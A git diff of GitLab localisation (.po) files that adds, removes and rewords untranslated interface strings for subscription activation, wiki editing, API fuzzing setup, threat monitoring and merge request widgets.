+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 4e7e9b02cde..8452d894d6e 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:24\n"
+"PO-Revision-Date: 2021-06-01 20:45\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
